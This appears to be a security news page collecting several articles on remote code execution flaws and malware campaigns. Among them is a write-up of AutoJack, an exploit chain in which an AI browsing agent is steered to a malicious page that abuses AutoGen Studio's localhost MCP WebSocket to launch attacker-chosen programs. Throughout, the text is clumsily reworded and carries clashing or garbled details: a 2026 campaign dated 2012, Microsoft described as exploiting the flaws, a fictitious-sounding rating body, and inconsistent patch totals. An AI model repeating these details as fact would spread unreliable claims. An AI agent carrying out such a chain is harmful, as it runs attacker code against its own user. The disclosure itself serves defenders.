CySecurity News - Latest Information Security and Hacking Incidents: Remote Code Execution

BIG-IP APM CISA KEV CVE-2026-94127 F5 BIG-IP F5 Security OAuth Authorization Server Remote Code Execution Unauthenticated RCE Vulnerabilities and Exploits Zero-Day Vulnerability

F5 Fixes BIG-IP APM Zero-Day Enabling Unauthenticated RCE

BIG-IP Access Policy Manager (APM) vulnerabilities have been patched by F5 as a result of zero-day attacks utilizing this vulnerability, which allows unauthenticated attackers to execute code on the system. As a result of this flaw, CVE-2026-94127 affects BIG-IP deployments with APM configured as an OAuth Authorization Server.

F5 disclosed the flaw on September 22 and assigned it a CVSS v3.1 score of 9.8. There is a vulnerability resulting from a heap-based buffer overflow that can be triggered by specially crafted traffic sent to a vulnerable virtual server. For the affected configuration to be effective, it is necessary to associate an APM access policy with an OAuth Authorization Server profile.

The BIG-IP data plane can potentially be compromised without prior authentication due to malicious network traffic reaching it. A F5 spokesperson confirmed that systems running in Appliance mode are also affected. As the vulnerable traffic is directed towards the virtual server handling OAuth requests, the BIG-IP management interface is not restricted by restrictions.

As of September 22nd, CISA added CVE-2026-94127 to its catalog of Known Exploited Vulnerabilities. This vulnerability does not affect deployments using APM solely as an OAuth Client or Resource Server. Civilian agencies were given a deadline of September 25 to apply the mitigations, while F5 has provided engineering hotfixes for BIG-IP branches that have been affected.

F5 has not released any information on how many systems have been compromised or identified the threat actors behind the exploit. CISA's KEV entry, as well as the company's vulnerability record, do not include any information about which organizations were targeted for attack.

F5 Releases Mitigation and Detection Guidance

F5 has released engineering hotfixes for the affected BIG-IP branches, whereas an iRule has been created as a temporary mitigation for systems that cannot be patched immediately. F5 Support provides the iRule as a temporary measure, intended to provide protection until a permanent fix has been deployed. In order to ensure a successful deployment of the vendor hotfix, CISA has advised applying the temporary measure during forensic checks.

A number of indicators have been provided by F5 to assist in identifying possible exploitations. A repeated OAuth authentication failure, particularly one or more invalid token requests from the same IP in a short period of time, should be investigated further. An unpredicted increase in the total_failed OAuth statistic that correlates with other activity can serve as another indication.

The security team should review /var/log/audit for suspicious commands which occurred at the same time as unusual OAuth activity. TMM core files and unexpected TMM terminations with the SIGABRT signal may also be relevant, since F5 observed that the vulnerable process entered a loop and crashed while performing malicious activity. All of these signs alone do not indicate exploitation, so the timing and combination of events are crucial when analyzing the situation.

It is essential that organizations that have BIG-IP APM systems that are interconnected with the internet preserve relevant logs and forensic evidence before undertaking major changes to potentially compromised appliances. Patching the system closes the vulnerable code path, but does not prove whether an attacker gained access to the system prior to remediation.

At the time of this publication, F5 has not yet disclosed whether installing the hotfix removes access obtained in the past. As well, the vendor has not publicly identified the attackers or disclosed the number of systems affected. Watchtowr researchers published a technical analysis on September 24 of CVE-2026-94127, which adds more information to this vulnerability as exploitation continues.

The affected BIG-IP APM configurations should be prioritized for F5 hotfix distribution, the recommended indicators of compromise should be reviewed, and systems should be investigated for signs of prior exploitation.

Microsoft Patches Nearly 1,000 Vulnerabilities in September Update



 

Zero Day Vulnerabilities

CVE 2026 Cybersecurity Microsoft Patch Tuesday Microsoft Vulnerabilities Remote Code Execution Vulnerabilities and Exploits Windows Security Updates Zero Day Vulnerabilities

Microsoft Patches Nearly 1,000 Vulnerabilities in September Update

A significant security update was released by Microsoft on Patch Tuesday in September, addressing 974 vulnerabilities across the company's software portfolio in unusual quantities. Additionally, this update contains two Windows flaws that have been confirmed to be exploited in the wild, highlighting the urgency of fixing the vulnerabilities. The vulnerabilities span several Microsoft product categories, including Windows, Office, SQL Server and Development Tools.

Microsoft Windows accounted for 723 flaws, while Microsoft Office and Office 2016 contained 111, SQL had 62, and Developer Tools contained 22 more. There have been over 110 critical vulnerabilities rated as critical. Among the most critical issues addressed in this month's release are privilege escalation, remote code execution and information disclosure. Besides Microsoft's own vulnerabilities, the company also patched 25 non-Microsoft vulnerabilities as part of the September update, which brings the total number of vulnerabilities covered to 999.

The two actively exploited Windows vulnerabilities are CVE-2026-85880 and CVE-2026-81963, both with a CVSS score of 7.8. The CVE-2026-85880 vulnerability is a heap-based buffer overflow in the Advanced Local Procedure Call (ALPC) function of Windows. The vulnerability can be exploited by an attacker with authorization to gain SYSTEM-level access by escalating privileges.

CVE-2026-81963 is a vulnerability that affects the Windows Update Stack and involves improper link resolution. Authorized attackers are also capable of exploiting this vulnerability for escalating local privileges and gaining system access.

By exploiting CVE-2026-85880, Microsoft stated that code running inside an AppContainer that has low privileges may escape its sandbox and gain full privileges on the affected Windows system. The attack does not require additional interaction from the user. This vulnerability has attracted significant attention due to its location within the Windows Update Stack.

There have been reports of vulnerabilities in this component that could have serious implications, especially since the update mechanism itself is responsible for the modification of system components. Microsoft has released fixes for CVE-2026-81963, however, across supported versions of Windows.

Both vulnerabilities have been exploited by Microsoft, but the company has not provided information regarding who the attackers are, how many systems were targeted, or whether successful compromises have been confirmed. According to the Cybersecurity and Infrastructure Security Agency (CISA), both vulnerabilities have been added to its catalog of known exploited vulnerabilities. There is a deadline of September 22, 2026, for federal agencies to apply available security updates.

The September release addresses several high-severity security vulnerabilities across Microsoft enterprise products in addition to the two exploited zero-days. This vulnerability could allow an unauthorized attacker to execute code remotely if exploited by an attacker. It has been rated 8.1 by the Center for Vehicular Defense.

A vulnerability rated 8.8 in SharePoint has been reported, as well as a vulnerability in SQL Server called CVE-2026-65669, which can result in network-based code execution. The vulnerability is particularly severe and carries a CVSS score of 9.6, enabling privilege escalation. Several critical vulnerabilities affect Windows Remote Desktop Services, Windows DNS Server, Windows DHCP Server, Windows Shell, and Windows Services for NFS ONCRPC XDR Driver, carrying the maximum CVSS score of 9.8.

In addition to reflecting the growing number of security vulnerabilities reported, the scale of the September release also reflects the rising number of security flaws reported by TrendAI's Zero Day Initiative. As of the beginning of 2026, Microsoft has patched 2,760 security vulnerabilities. Among Tenable's analysts, Satnam Narang noted that the September release alone brings the yearly count above 2,600 vulnerabilities, more than twice the previous record of 1,245 vulnerabilities recorded in 2020.

It is important to note, however, that the raw number of CVEs does not necessarily indicate a company's level of risk. There may be patches that do not affect a particular environment, while others require specific configurations or local access for exploitation to occur. In the immediate future, it is important to identify vulnerabilities in deployed systems that are able to be exploited realistically.

Since the two Windows zero-day vulnerabilities have already been confirmed as exploited and have been added to CISA's KEV catalog, they should be remedied sooner rather than vulnerabilities with no known exploitation activity.

Attackers Turn Langflow and Rails Flaws Into Entry Points for Credential Probing



 

Ruby On Rails Vulnerability

AI Security Credential Theft CVE-2026-0768 Cyber Attacks Langflow Vulnerability Remote Code Execution Ruby On Rails Vulnerability

Attackers Turn Langflow and Rails Flaws Into Entry Points for Credential Probing

Observations have shown that threat actors are actively exploiting critical vulnerabilities in Langflow and Ruby on Rails, with attacks moving beyond vulnerability testing to credential discovery and reconnaissance, according to threat intelligence firm VulnCheck.

The CVE-2026-0768 vulnerability, which has a CVSS score of 9.8, affects Langflow, a low-code platform used to develop artificial intelligence applications. It is a vulnerability in which user-controlled input is not adequately validated and can allow attackers to execute arbitrary Python code with root privileges on vulnerable systems.

Trend Micro's Zero Day Initiative initially disclosed this vulnerability in January 2026. CVE-2026-66066, also known as KindaRails2Shell, affects Ruby on Rails and has a CVSS score of 9.5. This flaw can be exploited by unauthenticated attackers to gain access to arbitrary files, to expose data regarding Rails processes, and to retrieve sensitive information, including secrets_key_base, Rails master key, database credentials, cloud storage credentials and API tokens. Such access can ultimately lead to remote code execution.

Exploitation of CVE-2026-66066 is facilitated by a parsing inconsistency between Rails Active Storage and the libvips image processing library. Attackers can submit specially crafted images to applications that utilize libvips for Active Storage processing and accept uploads from untrusted users in order to exploit the vulnerability Successful exploitation depends on the vulnerable configuration of the affected application.

During the first few hours on August 30, VulnCheck reported more than 50 detections, but the number increased to about 360 by Monday afternoon. Based on observed activity, attackers may be inspecting environments and searching for credentials and other sensitive information on compromised or exposed systems.

VulnCheck vice president of threat research Caitlin Condon commented on observed requests including retrieving Langflow environment variables associated with administrator credentials, OpenAI API keys, and AWS access credentials. A number of other files were examined by the attackers, including the /root/.cache/langflow/secret_key file, access information related to SSH, and .bash_history.

Telemetry indicated that most of the source traffic was originating from Russia, but the initial attacks were observed only against VulnCheck canary systems in the United Kingdom. It has been noted that subsequent activity has expanded to additional locations, indicating that the exploitation process is no longer limited to those initially targeted.

The Langflow platform has previously been attacked only in limited instances during the period 2026, as reported by VulnCheck. However, 11 additional vulnerabilities have been identified and are currently being exploited in the wild. Langflow has historically seen limited exploitation activity. More than 15,000 successful attacks against instances affected by CVE-2026-0769, CVE-2025-3248, and CVE-2026-5027 have been recorded. This activity shows that Langflow compromises can extend beyond the platform itself as well.

Attackers were reported to have combined an unauthenticated remote code execution vulnerability, CVE-2026-33017, with an insecure direct object reference vulnerability, CVE-2026-55255, in a campaign observed on June 25, 2012. This campaign targeted approximately 7,000 servers to obtain API keys for OpenAI and Anthropic, as well as credentials for Amazon Web Services, Google Cloud, and Microsoft Azure, and connection details to the database.

Through such activities, exposed AI application infrastructure is an excellent source of credentials, which can allow access to cloud services, databases, and model providers. By incorporating sensitive tokens into AI workflows, an initial compromise may have a greater impact, particularly when those credentials are reused across a variety of services.

Langflow has also gained increasing attention as an integral part of the enterprise attack surface rather than being an isolated development tool as a result of the increasing number of attacks. Security teams monitoring deployments are therefore expected to account for credentials, configuration files and connected services which can be accessed upon successful compromise.

This ongoing exploitation illustrates the growing security concerns associated with internet-facing artificial intelligence infrastructure. An organization should closely monitor Langflow deployments, secure sensitive credentials, and limit unnecessary external exposure in order to reduce the impact of a successful attack.

Remote Exploits Target Controller Flaws in Highway Signs and Digital Billboards



 

Vulnerabilities and Exploits

CISA advisory Daktronics Vulnerabilities Digital Billboard Security Highway Sign Hacking Industrial Control Systems Infrastructure Cybersecurity OT Security Remote Code Execution Vulnerabilities and Exploits

Remote Exploits Target Controller Flaws in Highway Signs and Digital Billboards

With the increasing integration of digital display infrastructure within transportation networks and public information systems, vulnerabilities within controllers that operate these assets present an increasing threat to cybersecurity.

A number of Daktronics display controllers have been reported to contain critical and high-severity vulnerabilities that could allow unauthorized remote access to the content appearing on the highway message boards, roadside signs, and digital billboards.

According to an independent cybersecurity researcher who identified the security flaws and subsequently published an advisory, widespread deployment of controller models for the management of large-scale LED display systems within highways, airports, sports stadiums, and urban advertising networks are affected by the flaws.

A variety of vulnerabilities within operating display technologies are identified in this study, which illustrate how they can affect more than just the security of the system, resulting in tangible risk to public communications, infrastructure integrity, and reliability of information delivered via connected electronic signage.

According to the latest advisory issued by CISA under ICSA-26-176-04, the Daktronics VFC-DMP-5000, DMP-5000, and DMP-8000 display controllers are affected. A total of nine vulnerabilities have been disclosed which expose weaknesses across directory access, file management, and administrative authentication. One of the vulnerabilities, CVE-2026-28701, allows both authenticated and unauthenticated remote users to enumerate arbitrary paths on the file system irrespective of their identity. Secondly, CVE-2026-33560 pertains to the DMP-5000 file service, where authenticated users can upload files of any type without being validated, enabling the deployment of unauthorized content. CVE-2026-31928 relates to a default administrative web account that is configured with weak authentication controls and does not require password modification during deployment, which allows attackers to gain full control of the system if left unchanged.

Security researcher Thomas Jou, an undergraduate at Princeton University, discovered the vulnerabilities after discovering a number of internet-facing controllers with the potential to be remotely targeted. It has been reported that Jou submitted his findings via CISA's VINCE vulnerability reporting platform in early January 2026, which enabled Daktronics to prepare patched firmware by early March, prior to the release of a public advisory.

Despite the availability of updated firmware, the researcher stressed that organizations must ensure affected controllers are not exposed directly to the public internet, as patching alone does not eliminate unnecessary attack surfaces. In addition to the mitigation guidance provided by Daktronics, customers are encouraged to change default administrative credentials.

In June, a security incident involving a FIFA World Cup API authorization flaw exposed live television broadcasts to an account takeover, following several instances of security incidents involving publicly accessible infrastructure and digital platforms. A cPanel vulnerability affecting over 550,000 servers was exploited last month, as was the compromise of airport public address systems across Canada and the United States last year, during which unauthorized political and anti-Israel messages were broadcast.

These incidents provide an example of how overlooked vulnerabilities in internet-connected communication and operational systems can rapidly develop into high-impact disruptions with public consequences if not addressed. The underlying controllers of connected display technologies require the same level of security oversight as any other internet-accessible operational system as they become an integral component of public infrastructure.

The timely management of patches, removal of unnecessary external exposures, and strong authentication practices are all necessary to prevent vulnerabilities from becoming potential avenues for real-world disruption. As operators are reminded by these findings, the resilience of public-facing digital infrastructure depends on both its deployment and its design in equal measure.

Ubiquiti UniFi OS Flaw Under Active Exploitation CISA Alerts Users



 

Vulnerability Management

CISA KEV catalog Command Injection Network Security Remote Code Execution Ubiquiti UniFi OS Vulnerabilities and Exploits Vulnerability Management

Ubiquiti UniFi OS Flaw Under Active Exploitation CISA Alerts Users

A new focus on network infrastructure devices has been drawn after the U.S. Cybersecurity and Infrastructure Security Agency (CISA) flagged several security vulnerabilities in Ubiquiti's UniFi OS platform. Following evidence of active exploitation, the KEV catalog was updated to include these vulnerabilities.

Among the identified vulnerabilities are access control bypass, path traversal, and command injection vulnerabilities, which researchers warn can provide attackers with direct access from unauthenticated access to a complete system compromise. With UniFi OS widely deployed across enterprise, government, and service provider environments to manage networking equipment, the vulnerabilities present a significant threat to administrative control planes and sensitive operational information.

In the latest CISA alert, researchers have demonstrated that Internet-exposed management interfaces present an increased threat, as researchers have demonstrated how these flaws may be chained together to facilitate privileged remote code execution. In response, federal agencies and organizations are urging them to expedite remediation efforts before further exploitation activity occurs.

Inclusions of the KEVs are based on three distinct vulnerabilities that affect UniFi OS, when combined, significantly increases the attack surface of exposed deployments. In this vulnerability, unauthenticated actors have the capability to alter system settings and administrative configurations without authorization as a result of an access control bypass weakness.

The CVE-2026-4909 vulnerability exposes a path traversal condition that is capable of exposing underlying operating system files, potentially revealing credentials, configuration data, and other sensitive information that can be used to carry out further intrusions. As a result of an improper input validation attack, CVE-2026-34910 can be exploited to execute arbitrary operating system commands on targeted devices.

All three vulnerabilities were addressed by Ubiquiti through security updates released in May, noting that exploiting the vulnerabilities does not require prior authorization or elevated privileges, making timely patch deployment critical for organizations using UniFi infrastructure.

Following the analysis, Bishop Fox security researchers have demonstrated that these vulnerabilities are not isolated risks but can be chained together to permit remote code execution on affected systems using privileged privileges. Using their findings, attackers were able to gain complete control over vulnerable UniFi OS instances by gaining initial unauthorized access, demonstrating how severe this vulnerability is in real-world environments.

Additionally, the researchers published a detection utility to assist defenders in identifying and remediating vulnerable deployments across enterprise networks on GitHub. In conjunction with the CISA alert, active exploitation concerns have also been raised regarding CVE-2025-67038, a critical root-level command injection vulnerability on Lantronix EDS5000 servers using firmware version 2.1.0.0R3 of Lantronix servers.

Shell commands are invoked as part of the mechanism used to record failed authentication attempts within the device's HTTP RPC component, where the flaw occurs. During the process of handling user input, improper handling could lead to command injection, making it possible for attackers to execute arbitrary commands with root privileges on the affected system.

By adding the UniFi OS flaws to CISA's Known Exploited Vulnerabilities catalog, the vulnerabilities fall under the remediation requirements of Binding Operational Directive 22-01. According to this directive, federal civilian agencies are required to remediate actively exploited vulnerabilities within prescribed timelines in order to reduce operational risk.

A response has been provided by CISA, which has ordered that agencies rectify CVE-2026-34908, CVE-2026-34909, and CVE-2026-34910 by June 26, 2026, while also recommending that organizations in the private sector evaluate their environments against the KEV catalog and prioritize exposed systems that could be exploited in ongoing attacks. However, reports emerging from community forums and Reddit discussions suggest that threat actors may have weaponized the vulnerabilities before they were disclosed, even though Ubiquiti's security advisories did not explicitly refer to active exploitation.

Researchers believe that rogue accounts were unexpectedly created by administrators using the username “John Sim,” a process researchers believe might have been linked to automated reconnaissance operations targeting unattended UniFi deployments that were accessible via the internet.

The Bishop Fox team conducted a technical analysis of CVE-2026-34908 and CVE-2026-34909 and determined that they could be used as part of an authentication gateway bypass resulting from inconsistencies in the way NGINX interprets specially crafted requests. Through the submission of requests that appear to target authentication-exempt routes, but which normalize into protected internal endpoints, attackers may be able to access backend services normally required to log in.

Research indicates that the bypass can be exploited to trigger CVE-2026-34910, a command injection flaw associated with improper validation of package names during update operations. The researchers validated the bypass against UniFi OS 5.0.6 test environments.

Using shell metacharacters inserted in crafted package parameters and forcing execution through the affected code path, attackers may be able to execute operating system commands without authentication by enforcing shell metacharacters in the package parameters. This issue goes beyond individual devices.

As outlined by the Centre for Cybersecurity Belgium, UniFi OS platforms provide visibility and control across switches, gateways, wireless networks, and connected assets, acting as central management systems for network infrastructure. By successfully compromising a system, attackers may be able to harvest credentials, manipulate network configurations, intercept traffic, or advance laterally into broader enterprise environments.

The same urgency has also been applied to CVE-2025-67038, a critical unauthenticated command injection vulnerability affecting Lantronix EDS5000 devices with a CVSS score of 9.8. Unpatched, the flaw, which was disclosed as part of BRIDGE:BREAK research that uncovered 22 vulnerabilities across Lantronix and Silex products, allows remote command execution with root privileges, posing a comparable risk of complete device compromise.

Among the steps CISA suggests to minimize exposure is following vendor-issued mitigation guidance, implementing an accelerated patch management procedure consistent with BOD 26-04 requirements, and maintaining sufficient logging to support forensic investigations when exploitation is suspected.

The directive requires agencies operating cloud-hosted UniFi environments to comply with cloud-specific provisions, or to discontinue affected services if remediation cannot be completed within the specified timeframe. CISA's latest action reminds us that once vulnerabilities affecting network management platforms become publicly available, they can rapidly transform from technical flaws into high-impact security incidents.

A critical safeguard for enterprise networks remains timely patching, exposure assessment, and continuous monitoring as threat actors continue to target infrastructure components. It is imperative for organizations relying on UniFi OS and other internet-facing management systems to take these findings seriously, ensuring that remediation efforts are paced at a rate that keeps pace with the speed at which attackers operationalize newly discovered vulnerabilities.

AutoJack Reveals New Threat to Autonomous AI Agent Security



 

Technology

Agentic AI Risks AI Agent Security AI Framework Vulnerabilities AutoJack Localhost Security MCP WebSocket Microsoft AutoGen Studio Remote Code Execution Technology

AutoJack Reveals New Threat to Autonomous AI Agent Security

Researchers are discovering new security threats that extend well beyond traditional prompt manipulation as artificial intelligence agents acquire the capability of browsing websites, interacting with local services, executing tools, and automating complex workflows.

AutoJack, the newest example of malware that can be exploited by trusted AI-powered browsers to compromise systems unintentionally, demonstrates how a single malicious web page can be used to manipulate the browser. A number of vulnerabilities combine to bypass assumptions surrounding localhost security.

The exploit chain targets Microsoft's AutoGen Studio, an open-source environment designed to develop and test multi-agent AI systems, utilizing multiple weaknesses. Using the agent's native web browsing functionality and the agent's interaction with locally exposed services, the attack allows the execution of arbitrary code on the host machine by simply submitting a URL by the user. It has been demonstrated that AI security is becoming increasingly problematic as agents are integrated into browsers, developer tools, and operating systems.

As a result, the boundary between untrusted internet content and privileged local resources is becoming increasingly difficult to enforce. As a result of the analysis, the attack does not require stolen credentials, bypasses of user authentication, or repeated actions by the user to proceed. The attack therefore does not require stolen credentials or bypasses of user authentication.

An attacker-controlled webpage can be accessed by browsing agents once they have been directed there, whether they have been directed there by a submitted URL, a malicious link, or prompt-injected content embedded in a workflow. This issue centers around AutoGen Studio's implementation of the Model Context Protocol (MCP) WebSocket, which was included in the development builds 0.4.3.dev1 and 0.4.3.dev2, but was absent from Microsoft's stable version 0.4.2.2.

According to Microsoft, the exposed MCP WebSocket surface did not appear in a stable PyPI release. Researchers have however identified three different weaknesses that combine to form a viable remote code execution path within the development branch. As a result of inadequate origin validation, WebSocket connections were limited to localhost origins, but JavaScript executed within the AI-controlled headless browser on the same machine was not considered.

The second stemmed from authentication controls that intentionally excluded /api/mcp/* routes, allowing access to the MCP WebSocket without verification. One of the most critical security issues arose from the handling of the server_params argument, which accepted attacker-supplied commands and arguments, decoded them into execution parameters, and passed these parameters directly to the process spawning functionality without any meaningful restrictions.

When a developer uses AutoGen Studio on localhost:8081 along with a browsing agent, the agent could unintentionally trigger the chain by allowing the agent to browse a carefully crafted webpage. By leveraging authentication and origin validation gaps, the embedded JavaScript would create a WebSocket connection with the local MCP endpoint and instruct the application to launch an attacker-defined executable with the logged-in user's privileges.

As a result of the responsible disclosure to the Microsoft Security Response Center, the affected code path has been hardened in the upstream repository. However, these findings indicate that trusted local AI agents may unintentionally bridge the gap between untrusted web content and privileged development environments in the absence of checks on security assumptions surrounding localhost services.

However, researchers emphasize that the broader architectural weakness of AutoJack extends beyond just a single framework or implementation, although the specific vulnerabilities leveraged by the project have been addressed in its source code. As an interim measure until updated releases are fully adopted, security practitioners suggest separating AutoGen Studio from browsing and code-execution agents that interact with untrusted internet content in order to eliminate the conditions required for exploitation.

A mitigation layer that provides effective protection against this attack chain is the isolation of workloads through dedicated containers, virtual machines, or restricted user contexts. In addition, the findings of this study identify a recurring design pattern increasingly observed across agent ecosystems: highly privileged, local services that are protected primarily by localhost assumptions, combined with artificial intelligence agents that may freely access external content.

Recently, similar concerns emerged in the ChatGPhish campaign, where AI-generated summary pages were manipulated in order to facilitate phishing attempts. Research conducted with Microsoft's Semantic Kernel, reported as CVE-2026-26030 and CVE-2026-25592, demonstrated comparable risks associated with locally trusted execution paths. These examples indicate that localhost-based trust models are becoming increasingly fragile in environments where autonomous agents routinely connect external and internal systems.

Researchers have argued that meaningful defense requires stronger control-plane authentication, strict allowlisting, and separate agent identities from developer sessions in order to provide meaningful defense. In light of the continued development of artificial intelligence frameworks that enable browsing, execution, and orchestration across multiple systems, security boundaries are no longer defined solely by the network location.

When an agent gains access to both the open web and privileged local services, traditional localhost protections no longer provide a reliable security measure. It serves as a reminder that the security challenges associated with artificial intelligence agents have rapidly evolved from theoretical concerns into practical attack scenarios as the AutoJack findings demonstrate.

The adoption of increasingly autonomous systems capable of browsing the web, interacting with local services, and performing tasks on behalf of users is challenging long-established trust assumptions in a new way. According to the research, artificial intelligence agents should be evaluated both as productivity tools and as privileged software components that can access sensitive environments directly.

Security teams should reassess localhost exposure, strengthen authentication controls around agent-accessible services, and enforce strict execution boundaries before experimental workflows become dependent on production processes. In a technological landscape where AI agents are expected to be capable of making decisions and taking actions independently, security architecture also needs to evolve at the same rapid speed as the technology itself.

Microsoft Exposes Malware Operation Combining USB LNK Worms and Tor-Based C2 Servers



 

Windows Clipper Malware

Clipboard hijacking cryptocurrency theft malware Microsoft security Remote Code Execution Tor-Based C2 USB LNK Worm Windows Clipper Malware

Microsoft Exposes Malware Operation Combining USB LNK Worms and Tor-Based C2 Servers

A threat actor will benefit from combining cryptocurrency theft, covert communications, and remote access into a single malware framework in order to increase stealth and persistence. Microsoft has revealed the existence of a Windows-based clipper campaign active since February 2026. The clipper campaign uses a portable Tor client, Windows Script Host, and ActiveX components to communicate with a hidden command-and-control server.

Besides intercepting and replacing cryptocurrency wallet addresses, the malware also performs continuous clipboard monitoring, captures screenshots, exfiltrates stolen data, and executes remote commands.

A key characteristic of the operation is that it does not utilize traditional installer mechanisms or publicly exposed C2 servers and instead utilizes Tor-routed traffic as a means of concealing its activity and extends its capabilities to lightweight backdoor functions as well as financial theft. USB-Borne Infection Chain Drives Initial Compromise Upon further investigation, it was revealed that the operation is characterized by a multi-stage infection chain combining removable media propagation with credential and asset theft.

In Microsoft's opinion, the campaign originated through malicious Windows shortcut (.LNK) files distributed through USB storage devices, enabling the malware to spread without relying on online delivery mechanisms. An infection after being executed deploys two components: a worm that propagates throughout additional removable drives, and a clipper module designed to obtain information about cryptocurrency seed phrases, private keys, and wallets.

Obfuscation and Persistence Mechanisms Enhance Stealth As part of its propagation mechanism, the worm exploits the trust of users in familiar file formats. When it scans USB devices for commonly accessed document formats like Microsoft Word, Excel, and PDF, it conceals the original filenames and replaces them with malicious shortcuts named identically.

In addition to increasing user interaction, this strategy masks the infection process by enabling additional payloads to be unpacked into randomly generated directories within the Public Documents path upon execution, and thereafter persistence can be established by scheduling tasks. In order to minimize the possibility of detection, the malware attempts to modify local defenses by creating antivirus exclusions for its staging locations and executable components in order to avoid detection.

According to Microsoft, extensive efforts have been made to obstruct the process of forensic analysis, such as packaging the installer with PyInstaller and obfuscation with PyArmor, and using JavaScript-based modules with layered encryption as well as runtime decryption. This malware performs an anti-analysis check by searching for Windows Task Manager processes and terminating execution if monitoring is detected, underscoring the operator's emphasis on long-term stealth and evasion.

Tor-Based Communications Power Clipboard Hijacking Operations Upon clearing the anti-analysis checks and activating the stealer module, the malware enters into a highly automated surveillance phase designed to detect and intercept cryptocurrency-related activity in near real-time. Microsoft observed that a Tor executable named ugate.exe is used by the component to communicate with its hidden command and control infrastructure, enabling all traffic to be routed through anonymized channels as well.

Once the malware has been installed, it periodically checks the system clipboard for a specific set of highly valuable cryptocurrency artifacts, searching for these artifacts every 500 milliseconds. Among these include 12-word and 24-word recovery phrases for Bitcoin, Ethereum private keys, Bitcoin wallet import format keys (WIF), as well as wallet addresses for Tron and Monero in addition to Bitcoin legacy, P2SH, Bech32, and Taproot formats.

Upon detection of an identical entry, the malware silently replaces it with the address of an attacker's wallet. By carefully selecting substituted addresses to share similar leading characters or numeric patterns with the original destination, the likelihood of detection during visual verification is reduced. During the final stage of the infection, the malware emphasizes the importance of operating concealment and attacker control.

By launching a renamed Tor executable in the background, the malware is able to identify the compromised host and register it with an external infrastructure without exposing direct network communications to the outside world.

Upon enrollment, the infected system begins a continuous operational cycle, polling the command-and-control environment for instructions while simultaneously inspecting the clipboard contents at approximately half-second intervals to identify cryptocurrency seed phrases, private keys, and wallets.

Also, command responses containing the EVAL directive enable the operators to execute attacker-supplied code in real-time, allowing them to expand functionality or take subsequent actions after a compromise.

The mixture of scripting abuse, removable media propagation, and Tor-based communications indicates Microsoft's recommendation that behavioral detection strategies should be prioritized. These strategies include monitoring PowerShell-driven screen capture activity, suspicious use of WScript and CScript, and script-engine processes spawning unexpected executables, including curl, cmd.exe, PowerShell, or other unexpected executables.

Besides disabling AutoRun and AutoPlay for removable media, Group Policy controls can also be used to restrict the execution of LNK from USB devices, limiting unnecessary access to scripting engines, and monitoring clipboard monitoring and screen capture behavior on systems involving cryptocurrency or other sensitive financial transactions closely.

Remote Code Execution Expands Malware Capabilities Researchers discovered that the campaign's data collection capabilities go beyond clipboard manipulation. A number of screenshots were taken and transferred to the command-and-control server through the native curl utility, providing operators with continuous insight into the activity of the victims.

Furthermore, it integrates remote code execution functionality, thereby extending the framework's operational scope beyond a conventional cryptocurrency clipper. By using the EVAL command, operators can instruct the malware to retrieve additional JavaScript payloads, save them locally as cfile files, and execute them directly on the compromised host by instructing the malware to do so.

Essentially, this capability allows the infection to become an on-demand access platform that is capable of deploying new functionality after initial compromise. Because the malware is highly obfuscated and continuously evolving, Microsoft noted that behavioral indicators offer a more reliable detection opportunity than static signatures. There are several indications that security teams should monitor suspicious activity associated with wscript.exe and cscript.exe, unexpected executions of curl, PowerShell, and cmd.exe, as well as anomalous child process chains.

Additionally, connections directed to localhost:9050 and other indications of Tor proxy usage may provide valuable indications that this campaign was compromised. Microsoft's campaign illustrates how traditional malware techniques can be combined with anonymous infrastructure and scripting-based execution to create threats that are not only difficult to detect but also highly adaptable as cybercriminal operations continue to evolve.

In environments characterized by removable media and digital asset transactions, the findings underscore the importance of monitoring behavioral indicators in conjunction with conventional security controls. In order to identify attacks that prioritize stealth over scale, defenders must continue to have access to unusual script activity, Tor-related communications, and clipboard manipulation.

Gogs Zero-Day Vulnerability Raises Alarm Over Server Security



 

Zero-Day Exploit

Argument Injection Credential Theft Cyber Threats Git Repository Security Gogs Vulnerability Open Source Security Remote Code Execution Supply Chain Attack Zero-Day Exploit

Gogs Zero-Day Vulnerability Raises Alarm Over Server Security

Researchers have discovered a zero-day vulnerability in Gogs, the widely used self-hosted Git repository management platform, that may allow authenticated users to escalate their privileges on vulnerable servers by leveraging this vulnerability to execute remote code.

In addition to affecting current Gogs releases, this vulnerability is classified as a critical argument injection weakness that poses a particular risk to distributed software development and collaboration deployments that are Internet-accessible. As a result of security analysis, the attack can be carried out without administrative privileges and, under default configurations, the attacker may only need a standard user account to compromise the underlying host.

The finding highlights the fact that seemingly routine source code management operations can become high-impact attack vectors when exploitable flaws intersect with permissive default settings and exposed development infrastructure, which has not been officially patched at the time of disclosure. Due to the close alignment between the attack path and Gogs' default deployment behaviour, the exposure becomes especially significant.

A Rapid7 researcher stated that open registration of users and the creation of unrestricted repositories enable an external actor to establish the necessary conditions for exploitation without requiring privileged access or assistance from other users. An application-wide flaw exists in the application's handling of repository merge operations. If the branch name is specially crafted, malicious arguments can be injected into the git rebase process during the "Rebase before merging" workflow by using a specially crafted branch name.

By abusing Git's --exec parameter, an attacker can force arbitrary shell commands to run on the host system under the security context of the Gogs service account. As researchers noted, the consequences of the compromise extend far beyond a single repository compromise, allowing threat actors to access private repositories belonging to other users, extract sensitive credentials such as password hashes, API tokens, SSH keys, multi-factor authentication secrets, and move laterally across connected systems, as well as alter source code stored on the system.

While Burgess indicates that Gogs has addressed several argument injection vulnerabilities in recent years, this newly discovered vulnerability stems from a different code path within the Merge() function, which was not addressed. Moreover, users with write permissions in repositories with rebase merging are also at risk of exploiting this vulnerability, while environments which restrict repository creation remain vulnerable if attackers can obtain write access to qualifying projects.

While the flaw was reported to the maintainer in March 2026, it remains unpatched as of the date of publication, making deployments across Windows, Linux, and macOS vulnerable to exploitation. Approximately 1,100 Gogs instances are currently exposed to the internet, according to Rapid7, but the true number is likely to be substantially greater due to the prevalence of deployments that operate behind VPNs and internal enterprise networks.

Additionally, the disclosure has brought to the vendor's attention concerns relating to its response timeframe. In March 2026, Burgess reported the vulnerability to the Gogs maintainers and received an acknowledgement on March 28, but no security update has been released since then. Given the platform's existing exposure footprint, this delay is particularly noteworthy.

Data from Shadowserver indicates that more than 2,400 publicly accessible Gogs instances are currently located in Asia and Europe, with the highest concentrations occurring in the region, while Shodan indexes over 1,000 internet-facing systems that exhibit identifiable Gogs signatures. An incident of this type is reminiscent of one that occurred with CVE-2025-8110, another remote code execution vulnerability that was exploited by hackers before patches were available.

A vulnerability discovered by Wiz Research during an investigation into a compromised Gogs deployment ultimately led to the U.S. Government's Cybersecurity and Infrastructure Security Agency (CISA), which classified it as actively exploited and directed federal agencies to secure affected systems, resulting in a significant threat model.

